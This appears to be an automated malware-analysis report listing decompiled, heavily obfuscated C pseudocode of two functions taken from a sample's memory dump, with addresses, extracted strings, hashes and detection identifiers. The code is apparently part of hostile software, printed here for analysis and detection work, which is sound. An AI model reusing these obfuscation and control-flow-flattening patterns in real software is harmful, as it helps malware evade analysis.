Function 00FAB464, Relevance: 9.1, Strings: 7, Instructions: 357
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00FAB464(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				signed int _v132;
				signed int _v136;
				intOrPtr _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				void* _t317;
				intOrPtr _t334;
				void* _t343;
				signed int _t346;
				intOrPtr _t357;
				intOrPtr _t358;
				intOrPtr _t359;
				void* _t384;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				intOrPtr* _t396;
				signed int _t399;
				intOrPtr _t403;
				signed int* _t405;
				void* _t407;

				_t359 = __ecx;
				_push(_a8);
				_v176 = __ecx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t317);
				_v16 = 0xe2afa9;
				_t358 = 0;
				_v12 = 0xe8fe81;
				_t405 =  &(( &_v184)[4]);
				_v8 = 0;
				_v4 = 0;
				_t399 = 0xc5a16cd;
				_v152 = 0x16c55a;
				_t403 = 0;
				_t390 = 0x52;
				_push("true");
				_v152 = _v152 * 0x7e;
				_v152 = _v152 ^ 0x9593734d;
				_v152 = _v152 * 0x27;
				_v152 = _v152 ^ 0x2b565726;
				_v160 = 0xd3489c;
				_v160 = _v160 + 0x93cd;
				_v160 = _v160 + 0xffff2680;
				_v160 = _v160 + 0xffff794a;
				_v160 = _v160 ^ 0x00d27c32;
				_v64 = 0x2f84e2;
				_v64 = _v64 ^ 0x4de93f40;
				_v64 = _v64 ^ 0x4dc6bba3;
				_v80 = 0x1be24f;
				_v80 = _v80 | 0x235428fb;
				_v80 = _v80 ^ 0x2353c844;
				_v120 = 0xf22c43;
				_v120 = _v120 << 0xc;
				_v120 = _v120 + 0x464d;
				_v120 = _v120 ^ 0x22cda256;
				_v128 = 0x5cc4be;
				_v128 = _v128 >> 7;
				_v128 = _v128 + 0x57a4;
				_v128 = _v128 ^ 0x0008b686;
				_v136 = 0xa3ff76;
				_v136 = _v136 << 7;
				_v136 = _v136 ^ 0xbe1be495;
				_v136 = _v136 ^ 0xefe2a377;
				_v100 = 0x946aa4;
				_v100 = _v100 / _t390;
				_v100 = _v100 ^ 0x000fb806;
				_v132 = 0x7d878a;
				_pop(_t391);
				_v132 = _v132 / _t391;
				_v132 = _v132 + 0x2f9;
				_v132 = _v132 ^ 0x000542bc;
				_v180 = 0xe3bf55;
				_v180 = _v180 >> 6;
				_v180 = _v180 + 0xffff773e;
				_v180 = _v180 ^ 0x8c2a66b6;
				_v180 = _v180 ^ 0x8c22efe7;
				_v44 = 0x9aff86;
				_v44 = _v44 << 0xb;
				_v44 = _v44 ^ 0xd7fa1a19;
				_v156 = 0x26ab5d;
				_v156 = _v156 >> 0x10;
				_v156 = _v156 | 0xcaa0c117;
				_v156 = _v156 << 0xa;
				_v156 = _v156 ^ 0x830d05c0;
				_v48 = 0xa14e19;
				_v48 = _v48 | 0x4d303281;
				_v48 = _v48 ^ 0x4dbb2754;
				_v68 = 0xf61636;
				_v68 = _v68 >> 2;
				_v68 = _v68 ^ 0x0039c1ba;
				_v40 = 0x2115cf;
				_v40 = _v40 ^ 0xa207a02b;
				_v40 = _v40 ^ 0xa22acf19;
				_v148 = 0xc0aafe;
				_v148 = _v148 >> 3;
				_v148 = _v148 ^ 0xba58c75e;
				_v148 = _v148 | 0xe4d62354;
				_v148 = _v148 ^ 0xfed5de21;
				_v164 = 0xeceffe;
				_v164 = _v164 >> 9;
				_t392 = 3;
				_v164 = _v164 / _t392;
				_v164 = _v164 | 0x3a3b050d;
				_v164 = _v164 ^ 0x3a3ef861;
				_v76 = 0x42da81;
				_v76 = _v76 >> 9;
				_v76 = _v76 ^ 0x0001f136;
				_v144 = 0x377b00;
				_v144 = _v144 + 0xffff7b03;
				_v144 = _v144 | 0xed8d4517;
				_v144 = _v144 + 0x474e;
				_v144 = _v144 ^ 0xedc1bf3b;
				_v60 = 0x529a79;
				_v60 = _v60 >> 0x10;
				_v60 = _v60 ^ 0x00099224;
				_v124 = 0x8fcbd4;
				_t393 = 0x4b;
				_v124 = _v124 / _t393;
				_t394 = 0x3d;
				_v124 = _v124 / _t394;
				_v124 = _v124 ^ 0x000fe13a;
				_v72 = 0x2d37b4;
				_v72 = _v72 ^ 0xb9387ba4;
				_v72 = _v72 ^ 0xb912d11a;
				_v184 = 0x7a0678;
				_v184 = _v184 | 0x4e91e946;
				_v184 = _v184 ^ 0x687527e4;
				_v184 = _v184 + 0x597c;
				_v184 = _v184 ^ 0x268aedf8;
				_v172 = 0x81785;
				_v172 = _v172 + 0xffff7f8b;
				_v172 = _v172 << 0xf;
				_v172 = _v172 ^ 0x3e034c91;
				_v172 = _v172 ^ 0xf58ad6ee;
				_v52 = 0x9795e3;
				_t395 = 0x72;
				_v52 = _v52 * 0x58;
				_v52 = _v52 ^ 0x341dc3b3;
				_v92 = 0xdf88e7;
				_v92 = _v92 + 0xffff49f2;
				_v92 = _v92 ^ 0x00d663b2;
				_v108 = 0x1042e6;
				_v108 = _v108 >> 0xd;
				_v108 = _v108 ^ 0x0002fcf8;
				_v36 = 0xb7de0d;
				_v36 = _v36 + 0xa73b;
				_v36 = _v36 ^ 0x00b48d5d;
				_v84 = 0x7d7419;
				_v84 = _v84 / _t395;
				_v84 = _v84 ^ 0x0006a1ac;
				_v116 = 0xb994e1;
				_v116 = _v116 + 0xffff62f2;
				_v116 = _v116 << 0xb;
				_v116 = _v116 ^ 0xc7b464f4;
				_v168 = 0x398b08;
				_v168 = _v168 >> 0xf;
				_v168 = _v168 + 0x5c1b;
				_v168 = _v168 + 0xffff8532;
				_v168 = _v168 ^ 0xfffb96f1;
				_v104 = 0x89faea;
				_v104 = _v104 << 3;
				_v104 = _v104 ^ 0x0447e579;
				_v88 = 0xfd5523;
				_v88 = _v88 << 0x10;
				_v88 = _v88 ^ 0x552c421d;
				_v96 = 0xe47266;
				_v96 = _v96 << 7;
				_v96 = _v96 ^ 0x723a4834;
				_v112 = 0x930317;
				_v112 = _v112 ^ 0x0c22be31;
				_v112 = _v112 >> 4;
				_v112 = _v112 ^ 0x00ca62ca;
				_v56 = 0xce9100;
				_v56 = _v56 ^ 0x8f2e07e0;
				_v56 = _v56 ^ 0x8fec4dc8;
				_t396 = _v28;
				while(1) {
					L1:
					_t334 = _v140;
					while(1) {
						L2:
						_t407 = _t399 - 0xc5a16cd;
						if(_t407 > 0) {
							goto L18;
						}
						L3:
						if(_t407 == 0) {
							_t399 = 0xcba4d8f;
							continue;
						} else {
							if(_t399 == _t384) {
								_t363 = _v156;
								_t343 = E00FB48B4(_v156, _t359, _t359, _v48, _t359, _v68, _v40, _t359, _v148, _v164,  &_v20, _t359, _t358, _v76, _v144, _t359,  &_v28);
								_t405 =  &(_t405[0x10]);
								if(_t343 == 0) {
									L15:
									_t399 = 0xeaf1192;
									L16:
									_t334 = _v140;
								} else {
									_t346 = E00FBED56(_t363);
									_t399 = 0xc870d87;
									_t334 = _v28 * 0x2c + _t358;
									_v140 = _t334;
									_t396 =  >=  ? _t358 : (_t346 & 0x0000001f) * 0x2c + _t358;
								}
								_t359 = _v176;
								_t384 = 0x8067b6;
								continue;
							} else {
								if(_t399 == 0x60bf0fb) {
									E00FA8CCC(_v172, _v52, _t403, _v92, _v108, _v152, _t359, _v32,  &_v24);
									_t399 =  !=  ? 0xf9b0111 : 0x685b925;
									_t334 = E00FAEDC5(_v36, _v32, _v84, _v116);
									_t405 =  &(_t405[9]);
									L29:
									_t359 = _v176;
									_t384 = 0x8067b6;
									goto L30;
								} else {
									if(_t399 == 0x685b925) {
										_t396 = _t396 + 0x2c;
										asm("sbb esi, esi");
										_t399 = (_t399 & 0xfdd7fbf5) + 0xeaf1192;
										continue;
									} else {
										if(_t399 == 0xb0ce4d8) {
											return E00FAAE43(_t358, _v112, _v56);
										}
										if(_t399 != 0xc516496) {
											L30:
											if(_t399 != 0xa0a29da) {
												goto L1;
											}
										} else {
											_push(_t359);
											_push(_t359);
											_t357 = E00FB5212(0x2000);
											_t359 = _v176;
											_t403 = _t357;
											_t405 =  &(_t405[3]);
											_t384 = 0x8067b6;
											_t399 =  !=  ? 0x8067b6 : 0xb0ce4d8;
											while(1) {
												L1:
												_t334 = _v140;
												while(1) {
													L2:
													_t407 = _t399 - 0xc5a16cd;
													if(_t407 > 0) {
														goto L18;
													}
													goto L3;
												}
												goto L18;
											}
										}
									}
								}
							}
						}
						L33:
						return _t334;
						L18:
						if(_t399 == 0xc870d87) {
							_t334 = E00FAA323(_v64,  *_t396, _t359, _v72, _v184);
							_t405 =  &(_t405[3]);
							_v32 = _t334;
							if(_t334 == 0) {
								_t399 = 0x685b925;
								goto L29;
							} else {
								_t399 = 0x60bf0fb;
								goto L16;
							}
						} else {
							if(_t399 == 0xcba4d8f) {
								_push(_t359);
								_push(_t359);
								_t334 = E00FB5212(0x20000);
								_t358 = _t334;
								_t405 =  &(_t405[3]);
								if(_t358 != 0) {
									_t399 = 0xc516496;
									goto L16;
								}
							} else {
								if(_t399 == 0xeaf1192) {
									_t304 =  &_v96; // 0x723a4834
									E00FAAE43(_t403, _v88,  *_t304);
									_t399 = 0xb0ce4d8;
									goto L16;
								} else {
									_t334 = 0xf9b0111;
									if(_t399 != 0xf9b0111) {
										goto L30;
									} else {
										E00FB9660(_t403, _v160, _v168, _v104, _a8);
										_t405 =  &(_t405[3]);
										goto L15;
									}
								}
							}
						}
						goto L33;
					}
				}
			}

0x00fab464
0x00fab46e
0x00fab475
0x00fab479
0x00fab480
0x00fab481
0x00fab482
0x00fab487
0x00fab492
0x00fab494
0x00fab49f
0x00fab4a2
0x00fab4ab
0x00fab4b2
0x00fab4b7
0x00fab4bf
0x00fab4c8
0x00fab4c9
0x00fab4cb
0x00fab4cf
0x00fab4dc
0x00fab4e0
0x00fab4e8
0x00fab4f0
0x00fab4f8
0x00fab500
0x00fab508
0x00fab510
0x00fab51b
0x00fab526
0x00fab531
0x00fab539
0x00fab541
0x00fab549
0x00fab551
0x00fab556
0x00fab55e
0x00fab566
0x00fab56e
0x00fab573
0x00fab57b
0x00fab583
0x00fab58b
0x00fab590
0x00fab598
0x00fab5a0
0x00fab5b0
0x00fab5b4
0x00fab5bc
0x00fab5c8
0x00fab5cb
0x00fab5cf
0x00fab5d7
0x00fab5df
0x00fab5e7
0x00fab5ec
0x00fab5f4
0x00fab5fc
0x00fab604
0x00fab60f
0x00fab617
0x00fab622
0x00fab62a
0x00fab62f
0x00fab637
0x00fab63c
0x00fab644
0x00fab64f
0x00fab65a
0x00fab665
0x00fab672
0x00fab67a
0x00fab685
0x00fab690
0x00fab69b
0x00fab6a6
0x00fab6ae
0x00fab6b3
0x00fab6bb
0x00fab6c3
0x00fab6cb
0x00fab6d3
0x00fab6de
0x00fab6e3
0x00fab6e9
0x00fab6f1
0x00fab6f9
0x00fab704
0x00fab70c
0x00fab717
0x00fab71f
0x00fab727
0x00fab72f
0x00fab737
0x00fab73f
0x00fab74a
0x00fab752
0x00fab75d
0x00fab769
0x00fab76e
0x00fab778
0x00fab77d
0x00fab783
0x00fab78b
0x00fab796
0x00fab7a1
0x00fab7ac
0x00fab7b4
0x00fab7bc
0x00fab7c4
0x00fab7cc
0x00fab7d4
0x00fab7dc
0x00fab7e4
0x00fab7e9
0x00fab7f1
0x00fab7f9
0x00fab80c
0x00fab80d
0x00fab814
0x00fab81f
0x00fab827
0x00fab82f
0x00fab837
0x00fab83f
0x00fab844
0x00fab84c
0x00fab857
0x00fab862
0x00fab86d
0x00fab87b
0x00fab87f
0x00fab887
0x00fab88f
0x00fab89c
0x00fab8a1
0x00fab8a9
0x00fab8b1
0x00fab8b6
0x00fab8be
0x00fab8c6
0x00fab8ce
0x00fab8d6
0x00fab8db
0x00fab8e3
0x00fab8eb
0x00fab8f0
0x00fab8f8
0x00fab900
0x00fab905
0x00fab90d
0x00fab915
0x00fab91d
0x00fab922
0x00fab92a
0x00fab935
0x00fab940
0x00fab94b
0x00fab952
0x00fab952
0x00fab952
0x00fab956
0x00fab956
0x00fab956
0x00fab95c
0x00000000
0x00000000
0x00fab962
0x00fab962
0x00fabae6
0x00000000
0x00fab968
0x00fab96a
0x00faba8d
0x00faba91
0x00faba96
0x00faba9b
0x00fabadb
0x00fabadb
0x00fabae0
0x00fabae0
0x00faba9d
0x00fabaa8
0x00fabab0
0x00fabac2
0x00fabac6
0x00fabaca
0x00fabaca
0x00fabacd
0x00fabad1
0x00000000
0x00fab970
0x00fab976
0x00faba14
0x00faba3e
0x00faba41
0x00faba46
0x00fabbb5
0x00fabbb5
0x00fabbb9
0x00000000
0x00fab978
0x00fab97e
0x00fab9d1
0x00fab9d6
0x00fab9de
0x00000000
0x00fab980
0x00fab986
0x00000000
0x00fabbdd
0x00fab992
0x00fabbbe
0x00fabbc4
0x00000000
0x00fabbc6
0x00fab998
0x00fab9ab
0x00fab9ac
0x00fab9b2
0x00fab9b7
0x00fab9bb
0x00fab9bd
0x00fab9c7
0x00fab9cc
0x00fab952
0x00fab952
0x00fab952
0x00fab956
0x00fab956
0x00fab956
0x00fab95c
0x00000000
0x00000000
0x00000000
0x00fab95c
0x00000000
0x00fab956
0x00fab952
0x00fab992
0x00fab97e
0x00fab976
0x00fab96a
0x00fabbe8
0x00fabbe8
0x00fabaf0
0x00fabaf6
0x00fabb93
0x00fabb98
0x00fabb9b
0x00fabba4
0x00fabbb0
0x00000000
0x00fabba6
0x00fabba6
0x00000000
0x00fabba6
0x00fabafc
0x00fabb02
0x00fabb5f
0x00fabb60
0x00fabb66
0x00fabb6b
0x00fabb6d
0x00fabb72
0x00fabb74
0x00000000
0x00fabb74
0x00fabb04
0x00fabb0a
0x00fabb38
0x00fabb42
0x00fabb48
0x00000000
0x00fabb0c
0x00fabb0c
0x00fabb13
0x00000000
0x00fabb19
0x00fabb2e
0x00fabb33
0x00000000
0x00fabb33
0x00fabb13
0x00fabb0a
0x00fabb02
0x00000000
0x00fabaf6
0x00fab956

Strings

'uh, xrefs: 00FAB7BC
|Y, xrefs: 00FAB7C4
4H:r, xrefs: 00FABB38
&WV+, xrefs: 00FAB4E0
NG, xrefs: 00FAB72F
MF, xrefs: 00FAB556
@?M, xrefs: 00FAB51B

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &WV+$4H:r$@?M$MF$NG$|Y$'uh
API String ID: 0-4100433312
Opcode ID: 38e5f9a793c0e5397a6bc99214c1423183a92482fa00dd030636ba4dfd883c73
Instruction ID: 2c7a02b57660c20a90f51c8d2210848db2fa860b043f6bf88dce01af68728a38
Opcode Fuzzy Hash: 38e5f9a793c0e5397a6bc99214c1423183a92482fa00dd030636ba4dfd883c73
Instruction Fuzzy Hash: 350244B25083808FD768CF65C94AA5BFBE1FBC5348F108A1DE6D996221D7B48809DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00FB89A2, Relevance: 9.1, Strings: 7, Instructions: 336
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00FB89A2(void* __ecx, void* __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v260;
				char _v268;
				intOrPtr _v272;
				char _v276;
				intOrPtr _v280;
				char _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _t291;
				void* _t306;
				intOrPtr _t310;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t333;
				intOrPtr _t334;
				void* _t337;
				intOrPtr _t339;
				intOrPtr _t365;
				void* _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				void* _t384;
				void* _t385;
				signed int* _t387;
				void* _t389;
				void* _t395;

				_t395 = __fp0;
				_push(_a24);
				_t385 = __ecx;
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t291);
				_v368 = 0x969fa1;
				_t387 =  &(( &_v404)[8]);
				_v368 = _v368 ^ 0x3dce833c;
				_t334 = 0;
				_t337 = 0x82450b3;
				_t380 = 0x39;
				_v368 = _v368 * 0x56;
				_v368 = _v368 ^ 0x9b96e7de;
				_v384 = 0x522009;
				_v384 = _v384 | 0xefa7af6e;
				_v384 = _v384 + 0x84bf;
				_v384 = _v384 << 0xc;
				_v384 = _v384 ^ 0x83454f1d;
				_v376 = 0xbc1b17;
				_v376 = _v376 * 0x6b;
				_v376 = _v376 >> 8;
				_v376 = _v376 ^ 0x00409983;
				_v340 = 0xeafe9b;
				_v340 = _v340 | 0x1be7931a;
				_v340 = _v340 / _t380;
				_v340 = _v340 ^ 0x007842c4;
				_v292 = 0xb0530f;
				_v292 = _v292 << 0xa;
				_v292 = _v292 ^ 0xc14db39e;
				_v288 = 0x51afd8;
				_v288 = _v288 + 0xffff1444;
				_v288 = _v288 ^ 0x0053892b;
				_v300 = 0x659e5;
				_v300 = _v300 + 0xffffd736;
				_v300 = _v300 ^ 0x00069f22;
				_v320 = 0x400a9d;
				_v320 = _v320 + 0xbe72;
				_v320 = _v320 + 0xffffedb0;
				_v320 = _v320 ^ 0x00466b5a;
				_v352 = 0xd7c1d3;
				_v352 = _v352 | 0x43544fa1;
				_v352 = _v352 + 0xf105;
				_v352 = _v352 ^ 0x43de8af9;
				_v328 = 0x7c4df2;
				_v328 = _v328 + 0xffff5764;
				_v328 = _v328 + 0x5d13;
				_v328 = _v328 ^ 0x0078d700;
				_v308 = 0x886a66;
				_v308 = _v308 + 0xffffb9a9;
				_v308 = _v308 ^ 0x0083c87a;
				_v344 = 0x372a1f;
				_v344 = _v344 >> 0xe;
				_v344 = _v344 + 0xffff2200;
				_v344 = _v344 ^ 0xfffac0df;
				_v296 = 0xe8ac11;
				_v296 = _v296 * 0x24;
				_v296 = _v296 ^ 0x20bd2906;
				_v304 = 0xc63cda;
				_v304 = _v304 * 0x18;
				_v304 = _v304 ^ 0x1295b197;
				_v332 = 0xe4d16;
				_v332 = _v332 + 0x4e9b;
				_v332 = _v332 >> 0xd;
				_v332 = _v332 ^ 0x0005dbab;
				_v372 = 0x45ead6;
				_v372 = _v372 + 0xffffe00c;
				_v372 = _v372 | 0x2bf1f08a;
				_v372 = _v372 ^ 0x2bf477f7;
				_v360 = 0x221565;
				_v360 = _v360 >> 2;
				_v360 = _v360 + 0xffffd8ea;
				_v360 = _v360 ^ 0x0006f076;
				_v312 = 0x4ed877;
				_v312 = _v312 << 1;
				_v312 = _v312 ^ 0x00935492;
				_v404 = 0x8469bf;
				_v404 = _v404 ^ 0x075bbf41;
				_v404 = _v404 | 0x28bf3f30;
				_t381 = 0x7e;
				_push("true");
				_v404 = _v404 * 0x49;
				_v404 = _v404 ^ 0xaff6c928;
				_v396 = 0x1bbe4c;
				_v396 = _v396 / _t381;
				_v396 = _v396 + 0xffffcd97;
				_pop(_t382);
				_v396 = _v396 * 0x38;
				_v396 = _v396 ^ 0x0009bf96;
				_v316 = 0x795385;
				_v316 = _v316 | 0x4718ac15;
				_v316 = _v316 >> 9;
				_v316 = _v316 ^ 0x0025e58d;
				_v324 = 0x70fc4d;
				_v324 = _v324 + 0x3f88;
				_v324 = _v324 + 0xcd5b;
				_v324 = _v324 ^ 0x007a737b;
				_v364 = 0xf2bf60;
				_v364 = _v364 * 0x7e;
				_v364 = _v364 / _t382;
				_v364 = _v364 ^ 0x01c559c7;
				_v336 = 0xcb080e;
				_v336 = _v336 << 0xe;
				_v336 = _v336 ^ 0xc2002858;
				_v380 = 0x5b6f54;
				_v380 = _v380 | 0x2762fee8;
				_v380 = _v380 + 0xffff4494;
				_v380 = _v380 ^ 0x277b3211;
				_v400 = 0xb8b9c5;
				_v400 = _v400 + 0xb5f;
				_v400 = _v400 << 1;
				_v400 = _v400 << 0xd;
				_v400 = _v400 ^ 0x3147c5ea;
				_v356 = 0xab28bc;
				_v356 = _v356 ^ 0x8927fd9f;
				_v356 = _v356 | 0x2a302ed7;
				_v356 = _v356 ^ 0xabba2c68;
				_v392 = 0x4b8eaf;
				_v392 = _v392 << 9;
				_v392 = _v392 >> 6;
				_v392 = _v392 << 8;
				_v392 = _v392 ^ 0x5c793020;
				_v348 = 0xf3aa03;
				_v348 = _v348 + 0xffff1528;
				_v348 = _v348 ^ 0x7304fcf0;
				_v348 = _v348 ^ 0x73fb1ffb;
				_v388 = 0x3dd2bd;
				_v388 = _v388 | 0x311b3931;
				_v388 = _v388 + 0x59a2;
				_v388 = _v388 + 0x7e2f;
				_v388 = _v388 ^ 0x3140d78e;
				while(1) {
					L1:
					_t306 = 0xbbb7183;
					do {
						while(1) {
							L2:
							_t389 = _t337 - 0x80cc2ab;
							if(_t389 > 0) {
								break;
							}
							if(_t389 == 0) {
								_t321 = E00FB4CF5( &_v268, _v404, _v396, _v316, _a24);
								_t387 =  &(_t387[3]);
								if(_t321 != 0) {
									_t379 = 0xf971f34;
									_t334 = 1;
								}
								_t337 = 0x2e35f5d;
								while(1) {
									L1:
									_t306 = 0xbbb7183;
									goto L2;
								}
							} else {
								if(_t337 == 0xad90c7) {
									_t323 = E00FA84F0(_v292, _v288, _a16, _t385, _v300,  &_v284);
									_t387 =  &(_t387[4]);
									if(_t323 != 0) {
										_t337 = 0xf8f92a;
										while(1) {
											L1:
											_t306 = 0xbbb7183;
											goto L2;
										}
									}
								} else {
									if(_t337 == 0xf8f92a) {
										if(_v280 >= _v388) {
											_t325 = E00FB1591( &_v284,  &_v276);
										} else {
											_t325 = E00FAA3E7( &_v284);
										}
										_t384 = _t325;
										_t306 = 0xbbb7183;
										_t337 =  !=  ? 0xbbb7183 : 0xb88ce56;
										continue;
									} else {
										if(_t337 == 0x2e35f5d) {
											_t241 =  &_v324; // 0x466b5a
											E00FAAE43(_v268,  *_t241, _v364);
											goto L11;
										} else {
											if(_t337 != 0x5f87054) {
												goto L35;
											} else {
												_t333 = E00FC0370( &_v276, _v296, _t395, _v304, _v332,  *( *((intOrPtr*)( *0xfc5208 + 0x30)) + 0x40) & 0x0000ffff,  *( *((intOrPtr*)( *0xfc5208 + 0x30)) + 0x24) & 0x0000ffff, _v372,  &_v268,  &_v260, _t384, _v360,  *((intOrPtr*)( *0xfc5208 + 0x30)), _v312);
												_t387 =  &(_t387[0xb]);
												if(_t333 == 0) {
													_t379 = 0x9c17656;
													L11:
													_t337 = 0xb88ce56;
													while(1) {
														L1:
														_t306 = 0xbbb7183;
														goto L2;
													}
												} else {
													_t337 = 0x80cc2ab;
													while(1) {
														L1:
														_t306 = 0xbbb7183;
														goto L2;
													}
												}
											}
										}
									}
								}
							}
							L38:
							return _t334;
						}
						if(_t337 == 0x82450b3) {
							_t384 = 0;
							E00FB365D(_v368,  &_v260, _v384, 0x100, _v376, _v340);
							_t387 =  &(_t387[4]);
							_t337 = 0xad90c7;
							_v276 = 0;
							_v272 = 0;
							_v284 = 0;
							_v280 = 0;
							goto L34;
						} else {
							if(_t337 == 0x9c17656) {
								_t339 =  *0xfc5208;
								_t310 =  *((intOrPtr*)( *((intOrPtr*)(_t339 + 0x30)) + 0x20));
								 *((intOrPtr*)(_t339 + 0x2c)) =  *((intOrPtr*)(_t339 + 0x2c)) + 1;
								_t365 =  *((intOrPtr*)(_t339 + 0x2c));
								 *((intOrPtr*)(_t339 + 0x30)) = _t310;
								if(_t310 == 0) {
									 *((intOrPtr*)(_t339 + 0x30)) =  *((intOrPtr*)(_t339 + 0x24));
								}
								if(_t365 >=  *((intOrPtr*)( *0xfc5208 + 0x10))) {
									 *( *0xfc5208 + 0x2c) =  *( *0xfc5208 + 0x2c) & 0x00000000;
								} else {
									_t337 = 0x82450b3;
									goto L1;
								}
							} else {
								if(_t337 == 0xb88ce56) {
									E00FAAE43(_v284, _v336, _v380);
									E00FAAE43(_t384, _v400, _v356);
									E00FAAE43(_v276, _v392, _v348);
									_t337 = _t379;
									L34:
									_t306 = 0xbbb7183;
									goto L35;
								} else {
									if(_t337 != _t306) {
										goto L35;
									} else {
										_push(_t337);
										_t319 = E00FA2C02(1, 0x40);
										_push(_v344);
										_push( &_v260);
										_push(0xb);
										_push(_v308);
										E00FA4A97(_t319, _v328);
										_t387 =  &(_t387[6]);
										_t337 = 0x5f87054;
										while(1) {
											L1:
											_t306 = 0xbbb7183;
											goto L2;
										}
									}
								}
							}
						}
						goto L38;
						L35:
					} while (_t337 != 0xf971f34);
					goto L38;
				}
			}

0x00fb89a2
0x00fb89ac
0x00fb89b3
0x00fb89b5
0x00fb89bc
0x00fb89c3
0x00fb89ca
0x00fb89d1
0x00fb89d8
0x00fb89d9
0x00fb89da
0x00fb89df
0x00fb89e7
0x00fb89ea
0x00fb89f9
0x00fb89fb
0x00fb8a02
0x00fb8a03
0x00fb8a07
0x00fb8a0f
0x00fb8a17
0x00fb8a1f
0x00fb8a27
0x00fb8a2c
0x00fb8a34
0x00fb8a41
0x00fb8a45
0x00fb8a4a
0x00fb8a52
0x00fb8a5a
0x00fb8a68
0x00fb8a6c
0x00fb8a74
0x00fb8a7f
0x00fb8a87
0x00fb8a92
0x00fb8a9d
0x00fb8aa8
0x00fb8ab3
0x00fb8abb
0x00fb8ac3
0x00fb8acb
0x00fb8ad3
0x00fb8adb
0x00fb8ae3
0x00fb8aeb
0x00fb8af3
0x00fb8afb
0x00fb8b03
0x00fb8b0b
0x00fb8b13
0x00fb8b1b
0x00fb8b23
0x00fb8b2b
0x00fb8b33
0x00fb8b3b
0x00fb8b43
0x00fb8b4b
0x00fb8b50
0x00fb8b58
0x00fb8b60
0x00fb8b6d
0x00fb8b71
0x00fb8b79
0x00fb8b86
0x00fb8b8a
0x00fb8b92
0x00fb8b9a
0x00fb8ba2
0x00fb8ba7
0x00fb8baf
0x00fb8bb9
0x00fb8bc1
0x00fb8bc9
0x00fb8bd1
0x00fb8bd9
0x00fb8bde
0x00fb8be6
0x00fb8bee
0x00fb8bf6
0x00fb8bfa
0x00fb8c02
0x00fb8c0a
0x00fb8c12
0x00fb8c21
0x00fb8c22
0x00fb8c24
0x00fb8c28
0x00fb8c30
0x00fb8c40
0x00fb8c44
0x00fb8c51
0x00fb8c52
0x00fb8c56
0x00fb8c5e
0x00fb8c66
0x00fb8c6e
0x00fb8c73
0x00fb8c7b
0x00fb8c83
0x00fb8c8b
0x00fb8c93
0x00fb8c9b
0x00fb8ca8
0x00fb8cb2
0x00fb8cb6
0x00fb8cbe
0x00fb8cc6
0x00fb8ccb
0x00fb8cd3
0x00fb8cdb
0x00fb8ce3
0x00fb8ceb
0x00fb8cf3
0x00fb8cfb
0x00fb8d03
0x00fb8d07
0x00fb8d0c
0x00fb8d14
0x00fb8d1c
0x00fb8d24
0x00fb8d2c
0x00fb8d34
0x00fb8d3c
0x00fb8d41
0x00fb8d46
0x00fb8d4b
0x00fb8d5b
0x00fb8d63
0x00fb8d6b
0x00fb8d73
0x00fb8d7b
0x00fb8d83
0x00fb8d8b
0x00fb8d93
0x00fb8d9b
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00fb8da8
0x00fb8da8
0x00fb8da8
0x00fb8da8
0x00fb8dae
0x00000000
0x00000000
0x00fb8db4
0x00fb8f09
0x00fb8f0e
0x00fb8f13
0x00fb8f17
0x00fb8f1c
0x00fb8f1c
0x00fb8f24
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00000000
0x00fb8da3
0x00fb8dba
0x00fb8dc0
0x00fb8ed5
0x00fb8eda
0x00fb8edf
0x00fb8ee5
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00000000
0x00fb8da3
0x00fb8da3
0x00fb8dc6
0x00fb8dcc
0x00fb8e88
0x00fb8e98
0x00fb8e8a
0x00fb8e8a
0x00fb8e8a
0x00fb8e9d
0x00fb8ea6
0x00fb8eab
0x00000000
0x00fb8dd2
0x00fb8dd8
0x00fb8e63
0x00fb8e6e
0x00000000
0x00fb8dde
0x00fb8de4
0x00000000
0x00fb8dea
0x00fb8e3a
0x00fb8e3f
0x00fb8e44
0x00fb8e50
0x00fb8e55
0x00fb8e55
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00000000
0x00fb8da3
0x00fb8e46
0x00fb8e46
0x00fb8da3
0x00fb8da3
0x00fb8da3
0x00000000
0x00fb8da3
0x00fb8da3
0x00fb8e44
0x00fb8de4
0x00fb8dd8
0x00fb8dcc
0x00fb8dc0
0x00fb9070
